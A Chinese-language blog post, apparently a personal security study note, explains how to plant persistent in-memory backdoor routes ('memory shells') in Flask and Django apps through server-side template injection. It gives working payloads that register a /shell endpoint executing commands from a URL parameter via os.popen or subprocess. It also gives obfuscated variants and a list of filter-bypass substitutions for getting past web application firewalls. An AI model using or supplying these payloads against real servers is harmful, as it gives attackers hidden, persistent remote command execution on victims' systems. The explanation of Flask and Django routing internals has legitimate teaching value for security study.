python 内存马
之前一直想学内存马,但是碍于对 java 的了解近乎为0,对jndi的了解也是只停留在会背面经的层面,所以一直没有去学,直到后来翻一些文章发现 python 也可以利用 SSTI 进行内存马注入,于是迅速开整
Flask
常见的 Python Web 框架如 Django 和 Flask 都有可能存在 SSTI(Server-Side Template Injection,服务端模板注入)漏洞
在 Flask 中,使用 render_template_string()
渲染模板时,若将用户输入直接传入而未做过滤处理,就可能导致 SSTI 漏洞。攻击者可通过该漏洞注入恶意模板代码,从而实现 代码执行,甚至进一步植入 内存马
内存马注入原理(Flask 路由机制)
Flask 常规注册路由的方式是通过装饰器 @app.route()
,但底层实际是调用了:
1 | self.add_url_rule(rule, endpoint=None, view_func=None) |
各参数说明如下:
rule
:URL 路径(必须以/
开头),与@app.route()
中的路径一致endpoint
:视图函数的唯一标识,在使用url_for()
反向生成 URL 时会用到,默认为函数名view_func
:绑定的视图函数(关键参数),可以是函数名,也可以是匿名函数(lambda)
因此,只要能通过 SSTI 或其他 RCE 手段执行 add_url_rule()
并注入恶意 view_func
,就可以动态注册一个后门路由,实现命令执行或内存马植入。
Flask 上下文机制(Context)
要动态注册路由并执行命令,核心在于控制 **view_func**
的行为。通常可使用 匿名函数 lambda 来实现远程命令执行:
1 | lambda: os.popen(request.args.get('cmd')).read() |
这需要依赖 Flask 的上下文机制(Context):
Flask 中的上下文分为两类:
- 请求上下文(Request Context):包含请求相关的数据,如
request
,session
,g
等 - 应用上下文(Application Context):包含全局应用状态,如
current_app
,app
等
当一个 HTTP 请求进入 Flask 应用时,Flask 会自动:
- 实例化一个 Request Context
- **Request Context **包含在
Request
对象中,并被推入_request_ctx_stack
栈结构 - 获取当前请求对象,即可通过
_request_ctx_stack.top
获取当前上下文
这使得我们在构造 payload 时,能访问如 request
, app
, os
等对象并执行逻辑
漏洞环境
这里我们从 https://xz.aliyun.com/news/10381 这篇文章找一个漏洞环境 demo 来实验
1 | from flask import Flask, request, render_template_string |
原始 Flask 内存马 payload:
1 | url_for.__globals__['__builtins__']['eval']("app.add_url_rule('/shell', 'shell', lambda :__import__('os').popen(_request_ctx_stack.top.request.args.get('cmd', 'whoami')).read())",{'_request_ctx_stack':url_for.__globals__['_request_ctx_stack'],'app':url_for.__globals__['current_app']}) |
我们来分析一下这个 payload
先将他展开:
1 | {{ url_for.__globals__['__builtins__']['eval']( |
步骤分解:
url_for.__globals__
url_for
是 Flask 中的函数,而 Python 中函数对象有一个属性叫__globals__
- 所以可以通过
url_for.__globals__
拿到全局作用域字典 - 可以进一步访问到各种内置对象,比如:
__builtins__['eval']
current_app
_request_ctx_stack
执行 eval(...)
代码
1 | eval("app.add_url_rule(...)") |
- 把构造好的 Python 代码字符串传入
eval()
,相当于运行:
1 | app.add_url_rule('/shell', 'shell', lambda: os.popen(cmd).read()) |
注册后门路由 /shell
这句代码的作用就是动态往 Flask 应用注册一个新的路由 /shell
:
1 | app.add_url_rule( |
lambda:
是匿名函数,作为view_func
os.popen(cmd).read()
执行系统命令- 命令从当前请求对象中获取:
_request_ctx_stack.top.request.args.get('cmd')
执行 payload 后,内存中注册了一个后门:
你就可以直接访问:
1 | http://localhost:5000/shell?cmd=whoami |
获得系统命令的执行结果
当然了实战肯定是有过滤的,可以先 fenjing 一把梭,梭完再根据 fenjing 的 payload 的 bypass 方法对上面的 payload 进行修改
我对 bypass 不是很擅长,直接复制粘贴了
1 | + url_for可替换为get_flashed_messages或者request.__init__或者request.application. |
这里给出两个变形Payload:
原Payload
1 | url_for.__globals__['__builtins__']['eval']("app.add_url_rule('/h3rmesk1t', 'h3rmesk1t', lambda :__import__('os').popen(_request_ctx_stack.top.request.args.get('shell')).read())",{'_request_ctx_stack':url_for.__globals__['_request_ctx_stack'],'app':url_for.__globals__['current_app']}) |
变形 payload:
1 | request.application.__self__._get_data_for_json.__getattribute__('__globa'+'ls__') |
1 | get_flashed_messages |
你可以抽象出一套 SSTI 的「绕过骨架」模板,比如:
1 | {{ |
然后根据不同题目的 WAF 实际情况:
- 替换对象入口(
url_for
,get_flashed_messages
,request
等) - 替换函数调用方式(拼接、编码、attr)
- 替换代码逻辑(文件读写 / 反弹 shell / 打印 token)
Django
Django会使用一个名为urlpatterns
的全局列表来存储所有的URL路由信息。每一项由path()
或re_path()
函数返回,用于将 URL 映射到某个视图函数(或类视图)
那么为了可以动态的向urlpatterns
中添加新的路径,可以引入一个新的可访问端点,该端点用于接收命令和返回结果
那么就要获取settings
这个对象,从而读取到settings.py
文件中的 ROOT_URLCONF(用于指定当前路由入口)
而 Python 中函数对象有一个特殊属性__globals__
,他保存了该函数所在模块的全局命名空间字典。攻击者可以从任意一个视图函数出发,通过request
传入的函数对象,访问到其全局变量,包括settings
、urlpatterns
、其他导入模块等。在 Django 视图函数中,可以从request
参数关联的任何函数出发,访问到整个模块的全局变量,包括 Django 项目的设置和URL配置。
那么直接将其导入,就可以获得当前应用的入口
这个时候, 就可以通过访问urls.urlpatterns
来操作路由列表了
在路由定义中,每一条路由都会调用path
函数来进行定义
path
函数接收四个参数:route
、view
、kwargs
和name
,其中kwargs
和name
是可选参数。主要关注的是前两个参数:
route: 这是一个字符串,表示匹配的URL模式。
view: 这是一个可调用对象,当URL匹配时会被调用。它可以是:
- 一个普通的Python函数(视图函数)
- 一个继承自
django.views.View
的类,并通过.as_view()
方法转换为可调用对象 - 包含
(urlconf_module, app_name, namespace)
的元组或列表,用于包含其他URL配置
_path
函数对view
参数有特定的要求,具体如下:
- 如果
view
是一个可调用对象(例如普通函数或实现了__call__
方法的对象),则直接将其作为视图函数处理。 - 如果
view
是一个包含(urlconf_module, app_name, namespace)的元组或列表,则用于包含其他URL配置。 - 如果
view
是一个继承自django.views.View
的类,则需要调用其.as_view()
方法将其转换为可调用对象。 - 如果
view
不符合上述任何一种情况,则会抛出TypeError
异常。
由于_path
函数要求视图参数必须是可调用的,我们可以使用Python 的 lambda 表达式来快速定义一个简单的视图函数。 Lambda 表达式是一种创建匿名函数的方式,非常适合这种场景。
payload:
1 | __import__('django').urls.path('shell', |
分解逻辑:
- import(‘django’):动态导入 django 模块(等价于 import django)
- .urls.path(…):调用 django.urls.path 函数,创建一个 URL 路由规则
- ‘shell’:设置路由路径 /shell/
- lambda request: …:视图函数,接收 request,执行命令并返回结果
- import(‘os’).popen(…):使用 os.popen 执行命令
request.GET.get(‘cmd’, ‘id’):从 GET 请求中读取参数 cmd,默认执行 id - HttpResponse(…):返回命令执行的结果
将这个新路由 append 到 app.urlpatterns 中就可以实现内存马
1 | __import__(request.get_port.__globals__["settings"].ROOT_URLCONF).urls.urlpatterns.append(__import__('django').urls.path('shell',lambda request: __import__('django').http.HttpResponse(__import__('os').popen(request.GET.get('cmd','id')).read()))) |
也可以使用subprocess.check_output()
来执行命令
1 | __import__(__import__('django.conf').conf.settings.ROOT_URLCONF).urls.urlpatterns.append( |
因为 SSTI 是好久前看的了,平常又不怎么用到,早就忘光光了,导致又花时间过了一遍基础